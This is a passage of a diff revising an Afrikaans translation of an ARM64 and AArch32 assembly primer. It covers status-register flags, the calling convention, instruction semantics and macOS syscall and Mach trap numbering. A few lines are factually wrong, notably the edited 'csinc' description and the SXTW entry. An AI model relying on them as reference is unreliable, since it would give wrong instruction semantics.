bedryfstelsel-sigbare **`SPSR_ELx`** spesiale register geserieleer is, wat X die **toestemming** **vlak van die geaktiveerde** uitsondering aandui (dit stel in staat om die prosesstatus te herstel wanneer die uitsondering eindig).\ Hierdie is die toeganklike velde:
@@ -75,24 +75,24 @@ Hierdie is die toeganklike velde: - Die som van twee positiewe getalle lewer 'n negatiewe resultaat. - Die som van twee negatiewe getalle lewer 'n positiewe resultaat. - In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal (of omgekeerd) afgetrek word, en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie. -- Dit is duidelik dat die prosessor nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie-onderteken was. +- Dit is duidelik dat die verwerker nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie-onderteken was. > [!WARNING] > Nie al die instruksies werk hierdie vlae op nie. Sommige soos **`CMP`** of **`TST`** doen, en ander wat 'n s agtervoegsel het soos **`ADDS`** doen dit ook. - Die huidige **register breedte (`nRW`) vlag**: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra dit hervat word. - Die huidige **Uitsondering Vlak** (**`EL`**): 'n Gewone program wat in EL0 loop, sal die waarde 0 hê -- Die **enkele stap** vlag (**`SS`**): Gebruik deur debuggers om enkelstap deur die SS-vlag op 1 in **`SPSR_ELx`** deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik. -- Die **onwettige uitsondering** staat vlag (**`IL`**): Dit word gebruik om aan te dui wanneer 'n voorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die prosessor aktiveer 'n onwettige staat uitsondering. +- Die **enkele stap** vlag (**`SS`**): Gebruik deur debuggers om enkelstap deur die SS vlag op 1 in **`SPSR_ELx`** deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik. +- Die **onwettige uitsondering** toestand vlag (**`IL`**): Dit word gebruik om aan te dui wanneer 'n voorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die verwerker aktiveer 'n onwettige toestand uitsondering. - Die **`DAIF`** vlae: Hierdie vlae stel 'n voorregte program in staat om selektief sekere eksterne uitsonderings te masker. - As **`A`** 1 is, beteken dit **asynchrone afbrake** sal geaktiveer word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). -- Die **stapelwyser seleksie** vlae (**`SPS`**): Voorregte programme wat in EL1 en hoër loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`) wissel. Hierdie wisseling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie van EL0 gedoen word nie. +- Die **stapelwyser seleksie** vlae (**`SPS`**): Voorregte programme wat in EL1 en hoër loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`) wissel. Hierdie skakeling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie van EL0 gedoen word nie. ## **Oproep Konvensie (ARM64v8)** -Die ARM64 oproep konvensie spesifiseer dat die **eerste agt parameters** na 'n funksie in registers **`x0` tot `x7`** oorgedra word. **Addisionele** parameters word op die **stapel** oorgedra. Die **terug** waarde word teruggegee in register **`x0`**, of in **`x1`** as dit ook **128 bits lank** is. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe. +Die ARM64 oproep konvensie spesifiseer dat die **eerste agt parameters** na 'n funksie in registers **`x0` tot `x7`** oorgedra word. **Addisionele** parameters word op die **stapel** oorgedra. Die **terug** waarde word in register **`x0`** teruggegee, of in **`x1`** as dit ook **128 bits lank** is. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe. -Wanneer jy 'n funksie in assembly lees, kyk vir die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **die stoor van die raamwyser (`x29`)**, **opstelling** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gestoor raamwyser** en **terugkeer** van die funksie. +Wanneer 'n funksie in assembly gelees word, soek na die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **die stoor van die raamwyser (`x29`)**, **opstelling** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gestoor raamwyser** en **terugkeer** van die funksie. ### Oproep Konvensie in Swift @@ -108,14 +108,14 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheue ligging wat deur `x1` aangedui word in `x0`. - **Offset modus**: 'n offset wat die oorspronklike punter beïnvloed, word aangedui, byvoorbeeld: - `ldr x2, [x1, #8]`, dit sal die waarde van x1 + 8 in x2 laai -- `ldr x2, [x0, x1, lsl #2]`, dit sal 'n objek van die array x0 in x2 laai, vanaf die posisie x1 (indeks) \* 4 +- `ldr x2, [x0, x1, lsl #2]`, dit sal 'n objek van die array x0 laai, vanaf die posisie x1 (indeks) \* 4 - **Pre-geïndekseerde modus**: Dit sal berekeninge op die oorspronklike toepas, die resultaat kry en ook die nuwe oorspronklike in die oorspronklike stoor. -- `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en die resultaat van `x1 + 8` in `x1` stoor -- `str lr, [sp, #-4]!`, Stoor die link register in sp en werk die register sp op -- **Post-geïndekseerde modus**: Dit is soos die vorige een, maar die geheue adres word toeganklik gemaak en dan word die offset bereken en gestoor. +- `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en die resultaat van `x1 + 8` in x1 stoor +- `str lr, [sp, #-4]!`, Stoor die koppeling register in sp en werk die register sp op +- **Post-geïndekseerde modus**: Dit is soos die vorige een, maar die geheue adres word aangespreek en dan word die offset bereken en gestoor. - `ldr x0, [x1], #8`, laai `x1` in `x0` en werk x1 op met `x1 + 8` - **PC-relatiewe adressering**: In hierdie geval word die adres om te laai relatief tot die PC register bereken -- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai wat verwant is aan die huidige PC. +- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai relatief tot die huidige PC. - **`str`**: **Stoor** 'n waarde van 'n **register** in **geheue**. - Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheue ligging wat deur `x1` aangedui word. - **`ldp`**: **Laai Paar Registers**. Hierdie instruksie **laai twee registers** van **aaneengeskakelde geheue** liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg. @@ -128,12 +128,12 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - Xn1 -> Bestemming - Xn2 -> Operand 1 - Xn3 | #imm -> Operando 2 (register of onmiddellik) -- \[shift #N | RRX] -> Voer 'n verskuiwing uit of bel RRX +- \[shift #N | RRX] -> Voer 'n skuif uit of bel RRX - Voorbeeld: `add x0, x1, x2` — Dit voeg die waardes in `x1` en `x2` saam en stoor die resultaat in `x0`. -- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 verskuiwer 12 keer) -> 1 0000 0000 0000 0000 +- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 wat 12 keer geskuif word) -> 1 0000 0000 0000 0000 - **`adds`** Dit voer 'n `add` uit en werk die vlae op - **`sub`**: **Trek** die waardes van twee registers af en stoor die resultaat in 'n register. -- Kyk **`add`** **sintaksis**. +- Kontroleer **`add`** **sintaksis**. - Voorbeeld: `sub x0, x1, x2` — Dit trek die waarde in `x2` van `x1` af en stoor die resultaat in `x0`. - **`subs`** Dit is soos sub maar werk die vlag op - **`mul`**: **Vermenigvuldig** die waardes van **twee registers** en stoor die resultaat in 'n register. @@ -141,30 +141,30 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - **`div`**: **Deel** die waarde van een register deur 'n ander en stoor die resultaat in 'n register. - Voorbeeld: `div x0, x1, x2` — Dit deel die waarde in `x1` deur `x2` en stoor die resultaat in `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Logiese verskuiwing links**: Voeg 0s van die einde by en beweeg die ander bits vorentoe (vermenigvuldig met n-keer 2) -- **Logiese verskuiwing regs**: Voeg 1s aan die begin by en beweeg die ander bits agtertoe (deel deur n-keer 2 in nie-onderteken) -- **Arithmetiese verskuiwing regs**: Soos **`lsr`**, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, **word 1s bygevoeg** (deel deur n-keer 2 in onderteken) +- **Logiese skuif links**: Voeg 0s van die einde by en skuif die ander bits vorentoe (vermenigvuldig met n-keer 2) +- **Logiese skuif regs**: Voeg 1s aan die begin by en skuif die ander bits agtertoe (deel deur n-keer 2 in nie-onderteken) +- **Aritmetiese skuif regs**: Soos **`lsr`**, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, **word 1s bygevoeg** (deel deur n-keer 2 in onderteken) - **Draai regs**: Soos **`lsr`** maar wat ook al van die regterkant verwyder word, word aan die linkerkant bygevoeg - **Draai Regs met Uitbreiding**: Soos **`ror`**, maar met die dra vlag as die "mees betekenisvolle bit". So die dra vlag word na die bit 31 verskuif en die verwyderde bit na die dra vlag. -- **`bfm`**: **Bit Veld Beweeg**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas dit in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **draai regs hoeveelheid**. -- Bitfiled beweeg: `BFM Xd, Xn, #r` -- Onderteken Bitfield beweeg: `SBFM Xd, Xn, #r, #s` -- Ononderteken Bitfield beweeg: `UBFM Xd, Xn, #r, #s` -- **Bitfield Uittrek en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register. +- **`bfm`**: **Bit Veld Beweeg**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **dra regs hoeveelheid**. +- Bitveld beweeg: `BFM Xd, Xn, #r` +- Onderteken Bitveld beweeg: `SBFM Xd, Xn, #r, #s` +- Nie-onderteken Bitveld beweeg: `UBFM Xd, Xn, #r, #s` +- **Bitveld Uittrek en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register. - **`BFI X1, X2, #3, #4`** Voeg 4 bits van X2 vanaf die 3de bit van X1 in - **`BFXIL X1, X2, #3, #4`** Trek 4 bits vanaf die 3de bit van X2 uit en kopieer dit na X1 - **`SBFIZ X1, X2, #3, #4`** Onderteken-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak -- **`SBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei dit, en plaas die resultaat in X1 +- **`SBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei hulle, en plaas die resultaat in X1 - **`UBFIZ X1, X2, #3, #4`** Nul-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak - **`UBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit en plaas die nul-uitgebreide resultaat in X1. -- **Onderteken Uitbrei na X:** Brei die teken uit (of voeg net 0s in die ononderteken weergawe) van 'n waarde uit om operasies daarmee uit te voer: +- **Onderteken Uitbrei na X:** Brei die teken uit (of voeg net 0s in die nie-onderteken weergawe) van 'n waarde om operasies daarmee uit te voer: - **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit (`W2` is die helfte van `X2`) om die 64bits te vul -- **`SXTH X1, W2`** Brei die teken van 'n 16-bit getal **van W2 na X1** uit om die 64bits te vul +- **`SXTH X1, W2`** Brei die teken van 'n 16bit getal **van W2 na X1** uit om die 64bits te vul - **`SXTW X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit om die 64bits te vul -- **`UXTB X1, W2`** Voeg 0s (ononderteken) by 'n byte **van W2 na X1** om die 64bits te vul -- **`extr`:** Trek bits uit 'n spesifieke **paar registers gekombineer**. -- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2** kombineer en **van bit 3 van W2 tot bit 3 van W1** kry en dit in W3 stoor. -- **`cmp`**: **Vergelyk** twee registers en stel toestand vlae. Dit is 'n **alias van `subs`** wat die bestemmingsregister na die nulregister stel. Nuttig om te weet of `m == n`. +- **`UXTB X1, W2`** Voeg 0s (nie-onderteken) by 'n byte **van W2 na X1** om die 64bits te vul +- **`extr`:** Trek bits uit 'n spesifieke **paar registers wat gekombineer is**. +- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2 kombineer** en **van bit 3 van W2 tot bit 3 van W1** kry en dit in W3 stoor. +- **`cmp`**: **Vergelyk** twee registers en stel toestand vlae. Dit is 'n **alias van `subs`** wat die bestemming register na die nul register stel. Nuttig om te weet of `m == n`. - Dit ondersteun die **dieselfde sintaksis as `subs`** - Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die toestand vlae ooreenkomstig op. - **`cmn`**: **Vergelyk negatiewe** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun die dieselfde sintaksis. Nuttig om te weet of `m == -n`. @@ -172,24 +172,24 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> as x1 != x2 en x3 < x4, spring na func - Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE` was**, as dit nie was nie, sal die bits `nzcv` op 0 gestel word (wat nie die `blt` vergelyking sal bevredig nie). - Dit kan ook as `ccmn` gebruik word (dieselfde maar negatief, soos `cmp` teenoor `cmn`). -- **`tst`**: Dit kyk of enige van die vergelykings se waardes albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word 1 is. +- **`tst`**: Dit kyk of enige van die waardes van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word 1 is. - Voorbeeld: `tst X1, #7` Kyk of enige van die laaste 3 bits van X1 1 is - **`teq`**: XOR operasie wat die resultaat verwerp - **`b`**: Onvoorwaardelike Tak - Voorbeeld: `b myFunction` -- Let daarop dat dit nie die link register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie) -- **`bl`**: **Tak** met link, gebruik om 'n **subroutine** te **roep**. Stoor die **terugadres in `x30`**. +- Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie) +- **`bl`**: **Tak** met koppeling, gebruik om 'n **subroutine** te **roep**. Stoor die **terugadres in `x30`**. - Voorbeeld: `bl myFunction` — Dit roep die funksie `myFunction` en stoor die terugadres in `x30`. -- Let daarop dat dit nie die link register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie) -- **`blr`**: **Tak** met Link na Register, gebruik om 'n **subroutine** te **roep** waar die teiken in 'n **register** gespesifiseer word. Stoor die terugadres in `x30`. (Dit is -- Voorbeeld: `blr x1` — Dit roep die funksie aan waarvan die adres in `x1` bevat is en stoor die terugadres in `x30`. +- Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie) +- **`blr`**: **Tak** met Koppeling na Register, gebruik om 'n **subroutine** te **roep** waar die teiken in 'n **register** gespesifiseer word. Stoor die terugadres in `x30`. (Dit is +- Voorbeeld: `blr x1` — Dit roep die funksie waarvan die adres in `x1` bevat is en stoor die terugadres in `x30`. - **`ret`**: **Terugkeer** van **subroutine**, tipies met die adres in **`x30`**. - Voorbeeld: `ret` — Dit keer terug van die huidige subroutine met die terugadres in `x30`. - **`b.`**: Voorwaardelike takke - **`b.eq`**: **Tak as gelyk**, gebaseer op die vorige `cmp` instruksie. - Voorbeeld: `b.eq label` — As die vorige `cmp` instruksie twee gelyke waardes gevind het, spring dit na `label`. -- **`b.ne`**: **Tak as Nie Gelyk**. Hierdie instruksie kyk die toestand vlae (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres. -- Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1` nie gelyk was nie, spring dit na `label`. +- **`b.ne`**: **Tak as Nie Gelyk**. Hierdie instruksie kyk die toestand vlae na (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres. +- Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1 nie gelyk was nie, spring dit na `label`. - **`cbz`**: **Vergelyk en Tak op Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n etiket of adres. - Voorbeeld: `cbz x0, label` — As die waarde in `x0` nul is, spring dit na `label`. - **`cbnz`**: **Vergelyk en Tak op Nie-Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n etiket of adres. @@ -200,7 +200,7 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - Voorbeeld: `tbz x0, #8, label` - **Voorwaardelike seleksie operasies**: Dit is operasies waarvan die gedrag wissel, afhangende van die voorwaardelike bits. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> As waar, X0 = X1, as vals, X0 = X2 -- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = Xm + 1 +- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = Xn + 1 - `cinc Xd, Xn, cond` -> As waar, Xd = Xn + 1, as vals, Xd = Xn - `csinv Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = NOT(Xm) - `cinv Xd, Xn, cond` -> As waar, Xd = NOT(Xn), as vals, Xd = Xn @@ -208,13 +208,13 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - `cneg Xd, Xn, cond` -> As waar, Xd = - Xn, as vals, Xd = Xn - `cset Xd, Xn, Xm, cond` -> As waar, Xd = 1, as vals, Xd = 0 - `csetm Xd, Xn, Xm, cond` -> As waar, Xd = \, as vals, Xd = 0 -- **`adrp`**: Bereken die **blad adres van 'n simbool** en stoor dit in 'n register. -- Voorbeeld: `adrp x0, symbol` — Dit bereken die blad adres van `symbol` en stoor dit in `x0`. -- **`ldrsw`**: **Laai** 'n onderteken **32-bit** waarde van geheue en **onderteken-uitbrei dit na 64** bits. -- Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n onderteken 32-bit waarde van die geheue ligging wat deur `x1` aangedui word, onderteken-uitbrei dit na 64 bits, en stoor dit in `x0`. +- **`adrp`**: Bereken die **bladsy adres van 'n simbool** en stoor dit in 'n register. +- Voorbeeld: `adrp x0, symbol` — Dit bereken die bladsy adres van `symbol` en stoor dit in `x0`. +- **`ldrsw`**: **Laai** 'n ondertekende **32-bit** waarde van geheue en **onderteken-uitbrei dit na 64** bits. +- Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n ondertekende 32-bit waarde van die geheue ligging wat deur `x1` aangedui word, onderteken-uitbrei dit na 64 bits, en stoor dit in `x0`. - **`stur`**: **Stoor 'n register waarde na 'n geheue ligging**, met 'n offset van 'n ander register. - Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue adres wat 4 bytes groter is as die adres wat tans in `x1` is. -- **`svc`** : Maak 'n **stelselaanroep**. Dit staan vir "Supervisor Call". Wanneer die prosessor hierdie instruksie uitvoer, **wissel dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke ligging in geheue waar die **kernel se stelselaanroep hantering** kode geleë is. +- **`svc`** : Maak 'n **stelselaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, **skakel dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke ligging in geheue waar die **kernel se stelselaanroep hantering** kode geleë is. - Voorbeeld: @@ -226,7 +226,7 @@ svc 0 ; Maak die stelselaanroep. ### **Funksie Proloog** -1. **Stoor die link register en raamwyser in die stapel**: +1. **Stoor die koppeling register en raamwyser na die stapel**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` @@ -246,9 +246,9 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th Armv8-A ondersteun die uitvoering van 32-bis programme. **AArch32** kan in een van **twee instruksiesette** loop: **`A32`** en **`T32`** en kan tussen hulle skakel via **`interworking`**.\ **Bevoorregte** 64-bis programme kan die **uitvoering van 32-bis** programme skeduleer deur 'n uitsonderingsvlak oordrag na die laer bevoorregte 32-bis uit te voer.\ -Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n laer van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 ingaan, afhangende van CPSR\*\*.\*\* +Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` die **`AArch32`** programme CPSR stoor. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 ingaan, afhangende van CPSR\*\*.\*\* -Die **`interworking`** vind plaas met behulp van die J en T bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit vertaal basies na die instelling van die **laagste bit op 1** om aan te dui dat die instruksieset T32 is.\ +Die **`interworking`** vind plaas met behulp van die J en T bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit beteken basies om die **laagste bit op 1** te stel om aan te dui dat die instruksieset T32 is.\ Dit word tydens die **interworking takinstruksies** gestel, maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld: Nog 'n voorbeeld: @@ -272,7 +272,7 @@ Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle gebruik word - **`r13`**: Stack Pointer - **`r14`**: Link Register -Boonop word registers geback-up in **`banked registries`**. Dit is plekke wat die registerwaardes stoor wat vinnige kontekswisseling in uitsondering hantering en bevoorregte operasies moontlik maak om die behoefte te vermy om registers handmatig te stoor en te herstel elke keer.\ +Boonop word registers geback-up in **`banked registries`**. Dit is plekke wat die registerwaardes stoor wat vinnige kontekswisseling in uitsondering hantering en bevoorregte operasies moontlik maak om die behoefte om registers handmatig te stoor en te herstel elke keer te vermy.\ Dit word gedoen deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerker modus waarheen die uitsondering geneem word, te stoor. By die uitsondering terugkeer, word die **`CPSR`** van die **`SPSR`** herstel. ### CPSR - Current Program Status Register @@ -289,10 +289,10 @@ Die velde is in 'n paar groepe verdeel: #### Application Program Status Register (APSR) - Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64) -- Die **`Q`** vlag: Dit word op 1 gestel wanneer **heelgetal saturasie plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees. -- **`GE`** (Groter as of gelyk aan) Vlag: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk. +- Die **`Q`** vlae: Dit word op 1 gestel wanneer **heelgetal saturasie plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees. +- **`GE`** (Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk. -Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare van bytes** (van twee 32-bit operand) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan **die `GE` vlae in die `APSR`** op grond van hierdie resultate. Elke GE vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar **oorloop**. +Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare van bytes** (van twee 32-bit operande) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan **die `GE` vlae in die `APSR`** op grond van hierdie resultate. Elke GE-vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar **oorloop** het. Die **`SEL`** instruksie gebruik hierdie GE vlae om voorwaardelike aksies uit te voer. @@ -301,11 +301,11 @@ Die **`SEL`** instruksie gebruik hierdie GE vlae om voorwaardelike aksies uit te - Die **`J`** en **`T`** bits: **`J`** moet 0 wees en as **`T`** 0 is, word die instruksieset A32 gebruik, en as dit 1 is, word die T32 gebruik. - **IT Block State Register** (`ITSTATE`): Dit is die bits van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`** voorvoegsel groep. - **`E`** bit: Dui die **endianness** aan. -- **Mode en Exception Mask Bits** (0-4): Hulle bepaal die huidige uitvoeringsstaat. Die **5de** dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word **dui die huidige prioriteit aan** in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word. +- **Mode en Exception Mask Bits** (0-4): Hulle bepaal die huidige uitvoeringsstatus. Die **5de** dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word **dui die huidige prioriteit aan** in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
-- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word met die bits **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone afbrake** geaktiveer sal word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). +- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word met die bits **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone aborts** geaktiveer sal word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). ## macOS @@ -315,7 +315,7 @@ Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3. ### Mach Traps -Kyk in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) na die `mach_trap_table` en in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) na die prototipes. Die maksimum aantal Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps sal **x16 < 0** hê, so jy moet die nommers van die vorige lys met 'n **minus** aanroep: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. +Kyk na [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` en in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die prototipes. Die maksimum aantal Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps sal **x16 < 0** hê, so jy moet die nommers van die vorige lys met 'n **minus** aanroep: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. Jy kan ook **`libsystem_kernel.dylib`** in 'n disassembler nagaan om te vind hoe om hierdie (en BSD) syscalls aan te roep: ```bash @@ -336,19 +336,19 @@ XNU ondersteun 'n ander tipe oproepe wat masjienafhanklik genoem word. Die getal ### comm bladsy -Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruiker se proses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees. +Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruikersproses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger 